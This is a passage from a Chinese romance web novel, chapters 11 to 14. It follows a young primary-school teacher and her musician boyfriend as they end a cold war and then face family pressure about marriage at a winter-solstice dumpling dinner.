但好歹有一个名正言顺的位置能让自己默默关怀她,不是么。
就像此时此刻,好哥哥顺理成章地行使他的权利,他拨通她的电话,镇定自若地嘱咐她独身一人在深夜乘车,也要注意安全。
“太晚了,和我再随便聊聊,到家再挂。”
11. 11
齐轶一不吭声地走了,所有矛盾悬而未决。
就像一首即要进入副歌高潮部分却戛然而止的歌,牵起的心绪吊在半空,不上不下,如鲠在喉。
佟嘉悦竟没多大意外,他习惯性逃避冲突,从不正面与她一起解决问题。多少有些失望,可失望多了,负反馈不断累加,对此渐渐脱敏,也不再去在意了。
成年人新的一天要处理琐碎纷繁的遭心事太多,她没太多心思伤春悲秋。
七点半,是到校门口值周的最迟时间点。
佟嘉悦七点钟就已到校,在门口检查孩子们的仪表仪容、校服着装、红领巾佩戴情况,今天骤然降温,她在瑟瑟秋风中站岗,冻得直哆嗦。
接到热心同事问是否要帮她带早餐的来电,她稍稍走远了一点去接了个电话的功夫,分管教学的副校长在大群里@佟嘉悦:人呢?佟老师今天你值周,又迟到了?
佟嘉悦深吸一口气,忍住那只蠢蠢欲动想噼里啪啦打字怒怼他的冲动,其实她真的很想不管不顾在群里直接回:十分钟前就在校门口和您撞个正着,您迎面走进学校的时候我还给您打招呼了,我迟没迟到您不知道?要这样在大群里特意艾特我,在所有人面前一顶帽子扣下来,暗示我失职吗?
工作三年来,佟嘉悦已学会圆融不少,对这位副校长的各种找茬与挑刺,左耳朵进右耳朵出,尽量不正面与他起冲突。她阳奉阴违打哈哈的本事,已练至炉火纯青,只求把本职工作做好,自己问心无愧。
佟嘉悦忍了又忍,方才收敛情绪,克制回:王校长,我早就到了,和郑老师一直在一块值周呢。
一旁的郑老师也看到消息,冲佟嘉悦使了个节哀的眼神,悻悻然地帮忙回了个:是的是的。
这位副校长最近又抽风,开始无差别针对所有年轻老师,佟嘉悦首当其冲——只因为她“少不更事”的时候,在没读懂气氛的情况下,无意间挑战了他的权威。
实习期间,她第一次校门口值周。
秦大附小的校门口,早上总是人满为患,背着书包成群结队的小学生们,送小孩子上学的家长们,斑马线两端维持秩序的辅警们……人群和车流常年拥堵,此起彼伏的车喇叭声,乱糟糟吵作一团。
没经验的她错估了这些意外状况,但好歹掐着时间点抵达了校门口。
气都没喘匀,佟嘉悦被王校长当着众人的面劈头盖脸地一顿训:“现在的年轻老师就是没有时间观念,一点儿没有正形,态度就不端正,为人师表,要以身作则,要有师德。迟到了啊,下不为例。”
他掐着表看时间,一直喋喋不休。
佟嘉悦于是也埋头去看时间,离七点半明明还有一分半呢,彼时她还比较“清澈愚蠢”,亮出手机屏幕,忙不迭替自己解释:“领导,我这边看还没迟到,还剩一分半……哦!一分二十秒呢!”
话音刚落,王校长凉飕飕的目光,掠过她的手机,盯着她一言不发。
佟嘉悦没注意到领导的脸色,她行动力过于快,随意逮住一个家长,问了问时间,得到和自己几乎相同的时间点,再悄么悄瞥一眼他腕表上的机械指针,算了算,快三分钟,于是小心翼翼地说:“是不是您表快了?”
那时候王校长瞬间阴沉下来的脸,佟嘉悦记忆犹新,她的较真无疑于找茬,众目睽睽之下甩了他面子。
王校长阴恻恻瞪她一眼,甩袖而去。
大群里,五分钟后,王校长不以为意地说:我没看到人。
还要假模假样,一副宽宏大量的语气回:@佟嘉悦,下次不要迟到了,准时到岗。
佟嘉悦气得咬牙暗骂,都说没迟到了!
中午,佟嘉悦和闺蜜何烨狠狠吐槽王校长,腹诽他大腹便便又地中海。
何烨同仇敌忾,暗戳戳诅咒:看人下菜碟的死秃头,我们祝他买生发剂反掉头发!就只掉头顶中间那一圈,嘻。呜呜呜呜摸摸嘉宝,咱们嘉宝今天也是努力赚窝囊费的一天呢。
佟嘉悦又气又笑:谢谢您的安慰,气更不顺了呢。
何烨便旋即甩来一个视频,不用看封面就知道,是何烨奉为圣经的“不要生气操”。
何烨用她那矫揉造作的台湾腔发来一串语音:“来,跟我唱,不要生气,不要生气,生气吃亏是你自己……”
午饭期间,佟嘉悦看了三遍不要生气操,慢慢心平气和,当场悟道。
她切出何烨的聊天界面,微笑着表达了她对视频的最新感悟:这世界还是很美好的呢,Love&Peace。
何烨用美剧里Mean得不行的遗憾语气,又发了条语音过来:“Oh,poor嘉宝。”
*
这半月来,齐父齐母一直旁敲侧击地向她打探,是不是和齐轶闹别扭了。又说齐轶有什么做得不对的地方,告诉他们,他们一定臭骂他一顿,替她做主。
佟嘉悦不想由外因介入,再给对方压力,两家几十年的交情,太过熟悉,他们的亲密关系过早捆绑双方家庭,从谈恋爱起就被两家人看着,仿若只有结婚这条路可走。
佟嘉悦不打算主动联系他,就当她执拗,这一次她只想等他自己出来解决问题。
下班回家,和父母一起吃晚饭的时候,柴琳也不留痕迹地提起齐轶,“嘉悦啊,你有没有看秦城卫视今年的跨年晚会名单啊?我看好像有阿轶呢,也是出息了这小子。”
一贯话不多的佟大勇,也附和说:“那他到时候要提前回来彩排吧,嘉悦?”
佟嘉悦夹了一筷子韭菜炒香干,含糊着声儿已读乱回:“妈,这菜炒得真好吃。”
“佟嘉悦。”柴琳脸色微沉,撂下筷子。
佟嘉悦抽了一张纸巾,平声回:“我也不清楚呢,妈。”
擦完嘴,起身离场。
回房间伏在书桌前磨磨蹭蹭写着教案,没多久,佟嘉悦接到一通意外的来电。
陌生电话号码,来自北城,锲而不舍打过来了四次。前两次没看到,第三次想着陌生号码没去接,第四次——
佟嘉悦无可奈何,本以为是哪位学生家长,不情不愿地接通:“喂,您好?”
“是我,邓之妍。”来人开门见山,报上大名。
佟嘉悦几分愕然,不解启口:“……您有什么事?”
邓之妍说:“齐轶的状态不怎么好,你们结束冷战吧。”
她真是直接得可以,佟嘉悦掀了掀唇,问:“你从哪儿要来的我的电话?”
几乎是与此同时,对方自顾自抛来一句道歉,“哦,忘了跟你说一声对不起。”
邓之妍笃然又说:“你们这一回闹得这么僵,肯定是我的原因,我们在秦城演出完去烧烤店那次吧?”
“我可以接受你的道歉。”佟嘉悦顿了顿,“至于其他的,是我们之间的事。”
邓之妍“呵”了声:“我没资格插手,是吗?”
佟嘉悦微微一笑,“是的。”
“我队友也骂我多管闲事,”邓之妍点了点头,“话说的太直白,应该委婉点。”
佟嘉悦有点儿哭笑不得,“委婉点跟我说:你们不合适。然后劝分?”
邓之妍无比磊落地承认了,“大差不差吧。”
“……”
话不投机半句多,无话可说后,陷入沉寂,佟嘉悦准备挂电话。
“那么——”
邓之妍出声打断:“知道我为什么讨厌你吗?”
“你从来没有来过他的工作室,来录音棚去看看他做音乐的样子,哪怕一眼。”邓之妍说,“你对他的世界一无所知。”
“所以我一直觉得,你从没有真正去了解过齐轶。”
佟嘉悦自嘲一笑。
有没有一种可能,他从未给过她开启他世界的钥匙呢?——她只是轻飘飘地,被拒之门外了。
齐轶从未主动提出,带她去拜访他做音乐的地方
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。
佟嘉悦倒提过好几回,齐轶没当回事,嘴上答应了,转头就忘了,她那时便在想,他一定不是故意不带她去参观他的梦想之地,大抵只是单纯地觉得她不懂,也不必去懂。
“不过,其实我早就对你改观了。”邓之妍竟然会欲扬先抑的说话艺术。
佟嘉悦微讶,不以为意,“谢谢?”
“我知道我给你的印象很糟糕,但是随便好咯,whatever,我不在乎。”
“是,你给我的印象一度很糟糕,但我谈不上讨厌你,你也有可爱之处。”佟嘉悦不想撒谎,违心地去否认她对自己的几次帮助。
“啧,真烦。”邓之妍切一声,“挂了。”
语毕,通话挂断。
佟嘉悦放下手机,思绪沉浮。
*
翌日上班,佟嘉悦总有些心神不宁。
她害怕齐轶真出什么事。
他开心的时候是个HappyBoy,浪漫热烈,不开心的时候,就习惯性躲起来,敏感而脆弱。
她这一次会不会太直白、太冷硬,是不是该换一种更委婉迂回的话术,用他更接受的方式沟通……一下子戳破所有泡沫,逼着他直面“房间里的大象”,却让他躲得太远,反而适得其反。
她忍不住去换位思考,于是又开始自责。
中午找何烨倾诉,何烨扯了扯唇,只啧声说了一句:“玩音乐的都什么臭毛病?”
她出了名的嘴毒,这次却分外克制。
“我可懒得管齐轶怎么样。但是佟嘉悦你——首先第一步,停止你的自责。”何烨颇为了然地说。
“……”正中靶心,佟嘉悦掀了掀唇。
“你有这闲心,不如多替我想想晚饭该吃什么。”这是她们刚刚闲聊的话题。
佟嘉悦不由莞尔。
“好感动喔。”她捏着甜腻腻的嗓子说,“烨宝真好。”
女人撒娇卖乖的时候,清甜嗓音如一颗浸入气泡水的柠檬糖,这是她与生俱来的天赋。
何烨狠狠一搓鸡皮疙瘩横生的胳膊,一脸敬谢不敏,“闭嘴,肉麻死了!”
佟嘉悦不再提齐轶,正儿八经给她提议晚饭吃些什么好,并敦促她按时吃饭,何烨申大研三在读,最近焦虑论文的事,找工作的事,诸事繁杂,焦头烂额,三餐总不规律。
大家各有各的迷茫与烦恼。
末了,何烨把话题带了回来,她深知佟嘉悦的脾性,索性提议:“如果你真的放不下心,你去找方霁明替你问问。”
佟嘉悦眼眸一亮,“是哦!”
晚上下班回家,佟嘉悦拨通方霁明的电话。
左思右想,佟嘉悦还是不太放心齐轶。
但她又不想主动找他。
更不可能去托双方父母问情况,到时候他们势必会掺和进来。思来想去,斟酌再三,打好腹稿,她找上了方霁明。
“你确定让我去打探他的情况?”
方霁明听到佟嘉悦提出的请求时,眼敛下来,唇畔噙着几分自嘲。
佟嘉悦瞬即心生疚然,心想还是算了,“如果哥觉得——”
“事先声明,虽然我有齐轶的联系方式,但我和他基本没说过什么话。”
接到佟嘉悦主动打过来的电话,方霁明一开始还颇为讶然。没有特殊情况,她平时很少主动联系他,即便他知道她只是天生不爱给人添麻烦。
“所以,在我给齐轶打电话前,我是否要大致了解下,你们之间出现了哪些问题?”方霁明漫不经心地问。
求人办事,他该有知情权,佟嘉悦顿了顿,如实说:“霁明哥记得上次在乐器行,听到齐轶和店老板……的那些话吗?我后来把话挑开,当面问过他,我希望能坦诚布公地聊一次……但没有。”
他逃了?方霁明没问出口。
缄寂稍倾,方霁明淡淡语气,半开玩笑地问:“就非他不可么?”
12. 12
果核宇宙厂牌旗下的工作室,一个偌大的音乐录音棚,复古loft风,设备齐全,录音师大刘甩着钥匙刚拧开了门,昏暗室内,一阵翕动,很快“咚——”地一声,会客厅沙发区的方位,什么重物结结实实掉落地上的响动。
大刘吓得心脏差点跳出来,忙摁亮玄关的灯。
齐轶斜身侧躺在沙发和地毯的夹缝之间,姿势诡异,上半身的薄毯滑落,一半掉垂在地上。
大刘鬼嚎着走近,“靠!齐轶,你搞毛啊!你想吓死谁?!”
人保持那姿势一动不动,也不吭声,他蹲下身推了推,男人翻了个身,呼吸灼沉,脸色卡白。
大刘愣然一瞬,忙伸手去探他额头,须臾骂道:“不回家睡在这儿过夜,烧不死你!”
大刘起身,把人重新拽拉回沙发,盖上薄毯,打开暖气,拉开厚厚的窗帘,晨光透进来,室内瞬间亮堂。
做完这一切,他自兜里摸出手机,拨打齐轶经纪人徐斌的电话。
半小时后,徐斌携邓之妍抵达工作室。
邓之妍拎着个小医药箱,掏出温度计,往沙发旁一蹲,便拿着温度计怼齐轶腋下,徐斌把退烧药放上吧台,拿热水壶烧开水。
“37.8,还行。”邓之妍甩了甩温度计,起身,高声问大刘,“他昨天没回去?”
大刘早钻进了录音室,头也不抬地调试着设备,“是吧?”
徐斌叹气:“看来是。”
邓之妍要笑不笑,“你叹什么气?我都没叹。”
徐斌一口气叹得更大,浮夸得很,“又为爱emo了,哎——!这孩子,哎!你也清醒清醒吧,你没戏,哎!”
“我清醒得很,”邓之妍幽幽白他一眼,“神经病。”
没过多久齐轶自己醒了。
他撑着沙发沿起身,邓之妍端着热水和退烧药过来,“正好,把药喝了吧。”
齐轶脑袋昏昏沉沉,恹恹耷着眼皮,浑身没劲儿。昨晚下午他就意识到自己烧了,但是丝毫不想管,沙发上躺尸,一动不动,直到稀里糊涂昏睡过去。
他伸手拿走玻璃杯和一板药囊,扣下两颗药,和着热水仰脖囫囵吞下。
“几点了?”齐轶嗓音嘶哑,出声如吞刀片。
徐斌说:“九点四十五,回家睡吧,啊?或者我送你去诊所打一针。”
齐轶从沙发垫里摸出了自己手机,垂眼一遍一遍看屏幕,来电,微信,短信,来回打开又关闭,他心不在焉道:“算了。”
“她还没联系你?”邓之妍瞧出他机械动作的意图,出声问。
齐轶没应她,仰躺回沙发,举起手机在眼前,默不作声地玩着手机。
邓之妍扯了扯唇,瞥一眼徐斌,继续说:“我找老徐要了你女朋友的联系方式,昨晚上跟她说了你的情况——先不要骂我多管闲事,从昨晚上到现在为止,她有给你打电话,关心你的情况吗?”
其实她语气没什么起伏,但知道内情的人,比如这话从喜欢齐轶的邓之妍口里说出来,怎么听怎么怪。
徐斌听着就有那么点儿拱火和阴阳怪气。
他瞬即有点恼火,低声叨叨:“你不会说话就闭嘴,火上浇油!”
“我只能做到这份儿上了。别怪我说话难听,齐轶你但凡少磨叽点,自己主动打过去,早和好了。”
邓之妍懒得解释,向齐轶甩下一句,拎着包就走了。
齐轶依旧沉默不语,握着手机,指腹无意识在通讯录上轻轻摩挲。
正此时,来电倏而闪烁,一通电话打进来。齐轶眼眸亮了一瞬,又黯颓下去。
是方霁明。
齐轶滑过接通键,低低出声:“喂,霁明哥。”
方霁明敏锐听出他声音的不对劲,有气无力,像是病了。
“怎么了?”
“没怎么,哥。就是有点发烧,睡了一觉,已经好多了。”
“吃药打针没?”
“嗯。”
“学会照顾自己是对自己负责,也是对别人负责,不要让别人担心你,你不是三岁小孩了。”方霁明语气冷厉中透着关心。
齐轶蔫儿吧唧地应:“是,哥。”
方霁明几乎没跟他电话联络过,微信上的交谈更是寥寥,除非……
窦然想起这一茬,齐轶靠着沙发背坐起来些,小心翼翼地试探问:“霁明哥,嘉嘉、嘉嘉她有……有跟你提起我吗?”
方霁明面无波澜地反问:“你觉得呢?”
齐轶忙不迭说:“嘉嘉有说什么吗?还有哥,你能替我转达——”
方霁明平静打断他,“这是你们两个人之间的事,不是吗?”
一时无话。
齐轶枯坐良久,点了点头,似下定什么决心,回:“好。”
方霁明淡声说:“你不用和我说好,我没给你布置任务,你也不用给我交差。”
齐轶下意识喃喃:“但要给嘉嘉交差。”
“交差,”方霁明眉梢轻挑,一字一顿念了一遍,“心理负担这么重,这么不情不愿?”
齐轶张了张口,解释:“不是这个意思,哥。”
“你以为嘉悦就非你不可?你以为嘉悦就没人喜欢,没人追求?”方霁明似笑非笑地说,“她是怎样的女孩子,有哪些让人心动的特质,也许有人比你更清楚。”
他这是什么心理,一面想劝动他,别再叫嘉悦不开心了,真劝动了,却忍不住反唇相讥,故意给他找不痛快。
他想起昨夜装作漫不经心地问佟嘉悦,非他不可么?佟嘉悦怔神半晌,答非所问地回他:我不清楚。但我们认识好多年了,哥。
我也和你认识很多年了,嘉悦。彼时他默默心道。
感情占据上风,一通输出,理智回归,方霁明垂下眼睑,自哂一声,他也有这么幼稚的较劲时刻。
“好好休息,挂了。”
*
“佟老师好!”
“佟老师好!”
佟嘉悦抱着一沓练字本,停在楼梯转角看手机讯息。方霁明向她“汇报”打探情报,两条简短消息,惜字如金。
方霁明:齐轶发烧了。
方霁明:恭喜,人还活着。
也不知道是阴阳怪气还是冷幽默。
佟嘉悦弯了弯唇,打字回:谢谢霁明哥。
方霁明:别谢。
“叮铃铃——”
大课间的铃声乍起,安静的走廊旋即一片叽叽喳喳,小学生们宛若从鸟笼里放飞的鸟雀们,迫不及待地窜出教室。
学生们正是要下楼去跑操,见到楼梯转角的佟嘉悦,一群憨态可掬的小人儿停下来,一个接一个,笑嘻嘻、脆生生地高声向她打招呼。
“好呀,好呀,慢点下
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楼,不要跑哦。”佟嘉悦把手机收进口袋,弯眼笑说。
她带的其中一班上的女孩子撒腿飞奔过来,一把抱住佟嘉悦的腿,“佟老师!这个送给你!”
一枚枫叶制成的书签,被孩子的手臂高举至眼前,大抵有父母从旁协助,装裱进透明塑料膜,金澄色的叶面上,用黑色马克笔涂鸦了一个简单笑脸。
“天啦,好漂亮!谢谢你!”佟嘉悦目露惊喜,微微倾下腰,细心收揽进手心。
“嘿嘿。”女孩子腼腆的抿唇一笑,松开她一溜烟跑开了。
佟嘉悦对这份工作的成就感与满足感,大约都来自了这些零星片断的时刻里。
孩子们纯真无邪的笑容,可爱的稚拙的手工小礼物,对自己的天然信任与亲昵,能让她忽视掉工作上时常需要面对的那些种种疲惫与不愉快。
妈妈总是教导她,要规规矩矩地行于正轨之上,脚踏实地做人,堂堂正正去生活。
她这算踏入人生的正轨了么?
年轻人之间反而流行一句话,被人引经据典,奉为金句:人生是旷野,不是轨道。
旷野也好,轨道也罢,无论如何,先认认真真过好眼前的每一天吧。
佟嘉悦将议题搁置,不做他想。
她回到办公室,把练习本刚放下,齐轶的来电显示久违地亮起来。
佟嘉悦盯着震动不停的手机许久,方才接通。
“喂,嘉嘉。”男人的嗓音嘶喑粗哑,像含着铅,“嘉嘉?”
“对不起,嘉嘉,你不要不理我,好不好?”
方霁明的一番话当头一棒,冷不丁敲醒齐轶,他再也没法坐以待毙。
“在呢。”佟嘉悦笑了笑,“生病了就乖乖吃药,好好休息,不要胡思乱想。”
果然霁明哥是嘉嘉叫来的,齐轶心头柔软一片。
“嗯,好哦,我知道的。”他乖顺得像一只金毛犬。
“关于上一次,上一次你让我想一想,”齐轶深吸一口气,闭眼,将打了半天的腹稿和盘托出,“对于结婚,我暂时没做好准备,但也就仅此而已。”
佟嘉悦顿了顿:“这就是答案吗?”
齐轶点头,“是。”
佟嘉悦:“好。”
“我喜欢你,嘉嘉。我心里只有你,嘉嘉。”齐轶虽嗓子哑着,他本人好似恢复了不少元气,一点不害臊地含笑轻说。
他一套情话信手拈来,也不管肉不肉麻,打得佟嘉悦措手不及。
“喂,你……”佟嘉悦嘀咕,“太犯规了吧你。”
“那我们和好,好不好?”
“不好。”
“我喜欢——”
“闭嘴!”
他们如往常一般吵吵闹闹,迅速打破冷战,然而这一次,女人却没打算不痛不痒地揭过去。
绕了一圈,佟嘉悦轻问:“为什么呢。”
齐轶被问住了。
“齐轶,你觉得你行于旷野,还是轨道之上?”
但他知道这一次不可以沉默,“旷野?”
佟嘉悦思维发散,“旷野与轨道可以相交吗?”
“那是面与线的关系。”
齐轶收敛笑意,严肃起来,不再耍宝。
“所以,当然可以论证出交点。”
只要不是平行,或线是面的子集,或有且只有一个交点。
13. 13
时间如白驹过隙,不知不觉,一眨眼到了十二月。
日子不偏不倚,秩序井然,学期进入末梢,新的公历年即将到来,秦城迎来冷气流,下了两场不大不小但冰凉沁骨的雨,佟嘉悦哆哆嗦嗦,换上厚厚冬衣。
上午的一个课间,实习老师小叶为了抢联动套餐,集齐谷子周边,买了足足六杯奶茶,外卖到的时候,她大方地请在办公室的老师喝。
正巧佟嘉悦没课,有幸分得一杯羹。
佟嘉悦抚摸杯身,特绘的联动角色出自《千禧溯梦乐园》,配音CV是菲芸。
她捧着奶茶杯向小叶确认,“这是艾米丽吗?”
小叶目露发现同担的惊喜,“是啊是啊,佟老师!老师也玩《溯梦》吗?”
佟嘉悦点点头,又摇头,笑说:“开服玩过一段时间,太忙就退坑了,了解得不多。”
之后大部分的了解,来自方霁明与菲芸。
这是方霁明公司旗下开发的一款手机游戏,去年公测开服,由其他项目组稳步运营;而菲芸于年初出演“艾米丽”这个高人气角色,她的声线非常契合角色,又将角色诠释得格外好,自此一鸣惊人,得以被大众熟知。
对于佟嘉悦来说,两个熟悉又遥远的人,交汇于一款游戏,一种奇妙的联结。
佟嘉悦下意识点开微博。
菲芸果然兴高采烈地发布了一条动态:锵锵!女鹅抢到啦!老梁也抢到啦!
配图也是一整套联动奶茶,老梁是一起联动的另一人气男角色Leung。
佟嘉悦悄悄点了个赞,不由为她感到开心。
往下刷,下一条,是菲芸几天前转发一部广播剧,她第一个女主役作品,佟嘉悦顺手又点了个赞,厚积薄发,事业在今年进入井喷期,真好。
下午,菲芸又在微信发来消息。
菲芸:怎么老是悄咪咪地点赞呀,嘉年老师~
彼时佟嘉悦上完语文课,刚回到办公室,她站在桌前解下别在腰间的扩音器,又埋头捋着乱成一团的耳麦线。桌上的手机震动了一下,面容解锁,推送栏的消息顺滑地映入眼帘。
门外走廊上孩子们的追逐笑闹声,模糊如背景音,佟嘉悦盯着最后那个揶揄的名字出神。
嘉年。
她玩配音的时候给自己取的古早艺名,像个尘封心底最深处的宝匣被猝不及防得打开,扑簌簌的灰尘抖落,暌违已久的躁动感溢满胸腔。
那团耳麦线怎么捋也捋不顺,佟嘉悦索性放弃,搁置一旁,坐下来拿起手机回复菲芸。
佟嘉悦:看到就顺手点啦,嘿嘿~
菲芸问:广播剧有没有听呀。
佟嘉悦回:中午听了一点,会继续往后听的。
菲芸:我配得怎么样?实话实说哦。
佟嘉悦:很棒!
须臾,佟嘉悦补充:不是客套,以我现在那点儿不专业的角度,业余又主观。非要点评一句的话,开篇分手多年后重逢的戏,我觉得情绪找得挺对的。
提起找情绪,菲芸不由和佟嘉悦说起最近的配音趣事。
菲芸:说起来今天在棚里遇到了苏老师!
佟嘉悦眼眸微亮:苏媛若老师?
菲芸:是啊是啊!
菲芸:我们一起配一个戏,演母女,虽然都只是两个打酱油的小角色哈哈哈,但这场戏还挺重要的,是哭戏。我今天一直找不准情绪,苏老师真的好好哦!和配导一句一句凹,帮我找情绪……
菲芸滔滔不绝地向佟嘉悦分享:对我们这些年轻配音演员,她又认真又耐心又没有架子,我简直受之有愧,又超荣幸!不愧是你以前崇拜的大佬!
佟嘉悦笑了笑:你还记得呀。
菲芸:那当然的!
菲芸顿了顿,说:其实你,我还挺惋惜的,
她没打出来的那后半句,佟嘉悦意有所感,指腹在输入栏来回滑动,不知道该说些什么。
那端,菲芸开玩笑似的随口一提:对了,苏老师在申城有开一个配音班,你有没有兴趣报名?
佟嘉悦怔然。
半晌,她回复:我先去了解一下。
*
冬至这一天,齐轶从北城回来了。
正逢周日,全家休息在家,佟大勇和柴琳一大早去菜市场买现擀的饺子皮、韭菜、牛肉和葱姜蒜,回家就开始剁馅儿,准备做酸汤水饺。
佟嘉悦难得睡个懒觉,被厨房里震天响的“笃笃笃”吵醒。
掀了被子套上针织衫出来,厨房里玻璃推门半敞,佟大勇忘我地剁着羊肉,柴琳在水槽前洗着韭菜。
听到客厅的动静,柴琳转过头,对佟嘉悦说:“齐爸齐妈今天不巧都值班,齐轶又赶巧要回来,你去机场接人,直接叫他来我们家吃饺子哈。”
佟嘉悦睡眼惺忪地点点头,说我知道的,回卧室洗漱梳头,换衣服出门。拎着家里的车钥匙去地库开车,抵达机场后,她给齐轶发讯息提醒他自己到了。
接到齐轶的时候,已经近十一点。
齐轶这一次要参加秦城卫视的跨年晚会,决定提前回来多待些时候。仔细算算,今年后半年回来勤了不少。
“我对象真好啊。”
远远的,齐轶露出一行洁白牙齿,卖乖笑。
很快男人推着行李箱一路跨步行来,单手搂住佟嘉悦的后背,下巴搁佟嘉悦的肩窝,整个人就半倚在女人身上,一动不动。
佟嘉悦搡他一下,“走啦走啦。”
“抱会儿。”齐轶哼哼唧唧。
佟嘉悦脸皮没他厚,耳根绯染,拽着人就走。上了车,齐轶变戏法似的,从口袋里摸出一个拨片项链,绕挂指间,晃在佟嘉悦眼前。
“这个吉他拨片我拿去做了个项链,送你。”
佟嘉悦诧然。
这是个吉他拨片是她送给齐轶的。
初升高的暑假,齐轶拿攒的钱去偷买了一把电吉他,怕父母发现,吉他就放在乐器行的陶老板那里,每天抽时间去偷偷学——佟嘉悦犹还记得,他学会弹的第一首完整曲子后,便载佟嘉悦来乐器行,当面弹给她听。
乐器行二楼的练习室,青涩但专注的吉他声响起,少年坐在高脚椅上,自弹自唱theBeatles的《Letitbe》,那意气风发的臭屁模样,佟嘉悦记忆犹新。
于是在他的生日那天,佟嘉悦送他一枚吉他拨片,齐轶保存至今,一直用一直用,徐斌都笑他太怀旧。
拨片做成的项链,在佟嘉悦愣神间,被男人亲手挂上脖颈,承载青春回忆的小小拨片,以这样的方式回到她的身边,有种别样的浪漫。
“谢谢。”佟嘉悦垂眼,抬手触了触。
“这么见外?”齐轶扬眉笑,“喜欢吗?”
佟嘉悦也笑,“嗯,很奇妙的感觉。”
“你做的?”
“对,我亲手做的。”
“嘉嘉,”男人将她颊畔的碎发拨到耳后,“我们还会有更多回忆的。”
佟嘉悦弯眼笑笑,“嗯。”
*
离小区还有一站路的公交站牌下,小老太太背着一个菜篓子,脚下踩着一双老布鞋,哼哧哼哧走路,健步如飞。
佟嘉悦远远地就看见她,在公交站前停下,探头大喊:“外婆!外婆!”
齐轶瞥一眼朝车子走近的老太太,说:“我来开车吧。”
佟嘉悦没多想,点点头就下了车,拉开车门跟外婆一起坐到了后座。
小老太太卸下背后的菜篓子放脚边,才发现驾驶座的人,愣了愣,凑到佟嘉悦耳畔,悄声问:“这就是小齐?”
佟嘉悦“嗯嗯”两声。<
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p>“小齐好啊。”老太太出声打招呼。
齐轶略感尴尬,但不失礼貌地回:“外婆好。”
老太太笑呵呵,继续凑佟嘉悦耳边说:“这孩子比视频里俊!”
佟嘉悦问她:“坐公交来的?”
老太太颔首道:“本来要坐到站的,有点闷,提前一站下来走走。”
佟嘉悦叹气:“外婆你来之前好歹说一声,我顺道就开车去接你了,真是的。”
老太太摆摆手,“麻烦你们干嘛!我就来送个菜!”
佟嘉悦说今天是冬至,要吃饺子,爸妈去买了菜,做韭菜牛肉馅的酸汤水饺。
老太太耿耿于怀,一路唠叨:“买什么菜,要吃什么菜跟我这里拿啊!现在又不是吃韭菜的季节,再过个把月,开春的韭菜才美!还不如我现摘下来的菠菜!老新鲜了!”
到了家,又继续去叨叨柴琳和佟大勇。
佟嘉悦觉得好笑,偏头找齐轶说话,却发现他双手摆平于膝盖,端坐在沙发上,一副如坐针毡的模样。
他来她家跟自己家一样,如呼吸般自然,从没这么拘束过。佟嘉悦后知后觉,才回过味来。
“冷不丁见到外婆,很尴尬?”她几分揶揄地问。
齐轶无奈一笑,“知道还问我。”
“尴尬什么?”佟嘉悦说,“我外婆记性不好。”
齐轶张了张口。
佟嘉悦大约还是明白,他自知没有回来参加外婆七十大寿而理亏,怕给她留下不好印象。
厨房里忙活的二人备菜完毕。
剁好馅料,调搅完味道,佟大勇把一大盆饺子馅儿和饺子皮端出来,柴琳也找出一个空簸箕,端来一碗水,一齐放餐桌上,叫大家围坐在一起包饺子。
你一言我一语随意闲聊之中,齐轶慢慢放松下来。
吃饺子的时候,老太太特意挨着齐轶坐,他又开始局促起来。这一回被老太太看出了端倪,随口笑问:“小齐怎么还没拿这里当家啊,这么不自在?”
齐轶:“不是,外婆——”
老太太:“这是把我们当外人了!”
“结婚就不是外人了,”佟大勇见缝插针,半开玩笑地说,“以我们两家的关系,不整那些虚的,你们也谈了这么些年了,阿轶我早拿他当半个儿子,亲上加亲,多好的事儿是不是?”
“爸,我们暂时还没结婚想法。”一句陈述句,由佟嘉悦平静讲出。
佟嘉悦本就决定和家人坦白,这是个好契机。
此言一出,空气陷入诡异的沉寂。
半晌,柴琳把筷子往桌上一拍,“佟嘉悦,你胡说什么?”
“没胡说。”佟嘉悦淡声回。
“是这样的,叔叔阿姨。结婚这个事儿要从长计议,这是我们一致商议后的决定,不是嘉嘉头脑一热胡说——”
眼见佟父佟母要集火佟嘉悦身上,齐轶试图救场。
老太太在此刻出声:“急什么急,急什么急,我看小齐想在外面多打拼几年。虽然你做的事我也不懂,但现在还难稳定下来,是不是?”
老人家惯会装糊涂,对很多事可以睁一只眼闭一只眼,却也有生活的大智慧,一边替佟嘉悦和齐轶解围,也明里暗里提点齐轶,稳定下来的重要性。
她很是懂得以退为进,“别为难孩子,那等你有稳定的想法再说,啊?”
齐轶悻悻然地点了点头。
柴琳却急了,脱口而出,“这么漂着也不是办法啊。”
佟嘉悦噌地站起身:“爸!妈!”
就在此时,不疾不徐的门铃声,猝不及防地响起来。
佟嘉悦深吸一口气,冷静下来,“我去看看。”
她快步往玄关走去,拉开门一条缝,身姿清挺的男人驻立门前,佟嘉悦愣了愣,轻唤:“霁明哥?”
14. 14
“谁?哥来啦?”
齐轶闻声起身,走近相迎。
方霁明是来替母亲送她刚做好的烤羊排的,自门缝窥见一家子吃饭的其乐融融的景象,齐轶也在其中,他脚步滞顿,没打算进门。
看到齐轶特意走过来,搭话的同时,向他投以求救般的眼神,方霁明偏了偏头,去看佟嘉悦。
齐轶问:“哥什么时候回来了?”
方霁明答:“今早。”
齐轶没话找话,说:“这么巧?我也今天回来的。”
客厅里的柴琳听到对话,高喊:“霁明来啦?一个个的杵门口做什么,快,快,进来吃饺子。”
佟嘉悦在玄关的鞋柜里找出一双男士拖鞋,抛玄关处,顺手接过方霁明手中拎着的东西,“哥进来吧。”
留下吃饭是意外之举,本以为,自己是那个外人,保持客人的客气自觉,然后解一解齐轶的燃眉之急——虽然方霁明尚不明白齐轶向他求救些什么。
他不动声色环视一圈,拉开佟嘉悦一旁的空座椅,坐下。齐轶在佟嘉悦左,方霁明在右。
“小方啊,上回你送我的洗脚桶,好用的嘞!”
方才听到门边方霁明的声音,老太太脸上就笑开了花,满是惊喜。待方霁明落了座,隔着两个人,老太太探出脑袋,一脸温蔼和方霁明讲话,那般熟稔亲昵的语气,叫齐轶的胸口无端刺挠一下。
方霁明礼貌颔首,“您喜欢就好。”
佟嘉悦把烤羊排放上桌,掀开包装盒,佐以孜然辣子,鲜香羊肉的炙烤香气就扑鼻而来,方霁明见状说:“这是我妈做的,大家尝尝。”
柴琳端了碗酸汤水饺出来,放到方霁明跟前,“我知道,她微信上和我说了,就是没想到这么快就做好了。”
老太太笑眯眯地,又唤小齐,“咱不能吃白食,礼尚往来,你走的时候记得带一袋土鸡蛋走啊!”
柴琳想起这茬,忙不迭点头,“是,是,家养的走地鸡,你妈最爱吃了,没事就找老太太收,非要给钱——”
老太太一脸佯怒:“再给钱我就生气了!”
